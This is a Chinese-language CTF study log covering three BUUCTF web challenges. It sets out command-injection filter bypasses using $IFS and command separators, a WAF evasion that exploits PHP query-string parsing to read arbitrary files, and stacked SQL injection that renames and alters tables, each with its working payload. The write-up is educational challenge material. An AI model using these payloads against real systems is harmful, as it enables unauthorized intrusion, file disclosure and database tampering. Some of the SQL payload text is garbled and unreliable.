BUUCTF刷题&学习记录
-
[GXYCTF2019]Ping Ping Ping
要输入ip,学习$IFS内部字段分隔符(Internal Field Separator, IFS)定义一个定界符,默认是空格,学习管道符"|","|"是管道命令操作符,简称管道符。利用Linux所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。连续使用管道符意味着第一个命令的输出会作为第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推。
linux常见过滤:
过滤空格:
< 、<>、%20(space)、%09(tab)、$IFS$9
、 ${IFS}
、$IFS
命令分隔符:
linux中:%0a(换行) 、%0d(回车) 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符,SUB 在文本文件中表示文件结果)
花括号:
{cat,flag} 逗号代替空格
拼接绕过:
$a=l;$b=s;$a$b(就是ls)
最后使用的payload为:
?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
其中,$IFS在linux下表示分隔符,但是如果单纯的cat$IFS,bash解释器会把整个IFS当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
参考:
https://www.jianshu.com/p/e10f27249338
http://blog.chinaunix.net/uid-22566367-id-381955.html
-
[RoarCTF 2019]Easy Calc
php字符串解析特性passby:
我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0--
上述PHP语句的参数%20news[id%00的值将存储到$_GET["news_id"]中。PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
理解:
假如waf不允许num变量传递字母:
http://www.xxx.com/index.php?num = aaaa //显示非法输入的话
那么我们可以在num前加个空格:
http://www.xxx.com/index.php? num = aaaa
这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
var_dump()函数:显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
scandir()函数:返回指定目录中的文件和目录的数组。
file_get_contents()函数:函数把整个文件读入一个字符串中。
和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串,file() 函数把整个文件读入一个数组中。
file_get_contents()是用于把文件的内容读入到一个字符串中的首选方法。
需要用到payload为:
?%20num=var_dump(scandir(chr(47)))
找到有个f1agg
最后的payload为:
calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
参考:
https://blog.csdn.net/weixin_44077544/article/details/102630714
https://www.jianshu.com/p/3afa7083d3ea
-
[强网杯 2019]随便注
全部都过滤了,看完wp发现是堆叠注入,新知识点+1
1';show databases;#
1';show tables;#
先看words
1'; show columns from `words` ;#
1';show columns from `1919810931114514`;#
看到flag了,但是不可以用select,另外想其他办法
word表里面有id和data,输入1时候的回显也是1和hahahah,而1919810931114514这个表只有一个flag数据,不符合回显的要求,所以我们可以猜测页面回显的是word表里面的内容
这时候虽然有强大的正则过滤,但没有过滤alert和rename关键字
这时候我们就可以已下面的骚姿势进行注入:
1.将words表改名为word1或其它任意名字
2.1919810931114514改名为words
3.将新的word表插入一列,列名为id
4.将flag列改名为data
构造payload:
1’;rename table
words
toword1
;rename table
1919810931114514
towords
;alter table
words
add id int unsigned not Null auto_increment primary key;alert table
words
changeflag
data
varchar(100);#接着我们再用1’ or 1=1 #,在原来显示id的地方查询得到flag,证明确实开始的页面回显的是word表里面的数据
参考:
https://blog.csdn.net/qq_26406447/article/details/90643951